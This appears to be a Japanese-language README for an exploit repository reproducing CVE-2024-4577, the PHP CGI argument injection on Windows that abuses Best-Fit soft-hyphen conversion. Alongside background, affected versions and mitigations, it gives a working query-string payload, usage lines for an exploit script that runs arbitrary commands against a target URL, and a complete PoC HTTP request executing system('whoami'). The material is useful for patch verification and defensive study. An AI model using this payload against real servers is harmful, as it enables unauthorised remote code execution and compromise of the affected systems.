CVE-2024-4577 - Windows 上の PHP CGI 引数インジェクション ("WorstFit")

概要

CVE-2024-4577 は、Windows 上の PHP の CGI 実装における重大なリモートコード実行の脆弱性です。この脆弱性は、Windows の「Best-Fit」コードページ変換を悪用して、CGI クエリ文字列を介してコマンドライン引数を密かに送り込むことで、元の CVE-2012-1823 の修正を回避します。

CVSS スコア: 9.8 (Critical)
発見者: Orange Tsai (DEVCORE)
タイプ: OS コマンドインジェクション / 引数インジェクション
パッチ公開日: 2024年6月6日

技術詳細

PHP が CGI モジュール (php-cgi.exe) として実行される場合、クエリ文字列をコマンドライン引数として解析します。CVE-2012-1823 の元の修正は、引数インジェクションを防ぐために - (ハイフン、0x2D) 文字をブロックしました。しかし、特定のコードページ (例: 中国語、日本語、韓国語) を使用する Windows システムでは、「Best-Fit」文字マッピング機能が特定の Unicode 文字を最も近い ASCII 相当文字に変換します。

主要なバイパス手法は、ソフトハイフン 文字 (0xAD / U+00AD) を使用します。リクエストがクエリ文字列内で %AD を渡し、サーバーのロケールが「Best-Fit」コードページを使用している場合、Windows は内部で 0xAD を 0x2D (ハイフン) に変換し、攻撃者がフィルタを回避して PHP 引数を注入できるようにします。

例: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input は -d allow_url_include=1 -d auto_prepend_file=php://input になります。

影響を受けるバージョン

PHP 8.1.* (8.1.29 より前)
PHP 8.2.* (8.2.20 より前)
PHP 8.3.* (8.3.8 より前)

設定要件:

php-cgi.exe を使用して CGI として実行される PHP
mod_cgi または mod_cgid が構成された Apache Web サーバー
「Best-Fit」コードページ (中国語、日本語、韓国語など) を使用する Windows ロケール

環境構築 (XAMPP)

Windows 用の脆弱性のある PHP バージョン (例: 8.1.28) をダウンロードします。

XAMPP または Apache を CGI モードでセットアップします:

ScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe

ターゲットを確認します: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

使用方法

python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

作成されたペイロードは、クエリ文字列を介して PHP 設定ディレクティブを注入します:

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

緩和策

PHP を 8.3.8+、8.2.20+、または 8.1.29+ にアップグレードする
CGI モードを無効化し、代わりに PHP-FPM、mod_php、または FastCGI を使用する
IIS または Apache のリライトルールを適用して、php-cgi.exe へのリクエストをブロックする
PHP を非 Best-Fit コードページ (例: 英語) のシステムでのみ実行する

cve-2024-4577-phpcgi_rce_reproduction

人気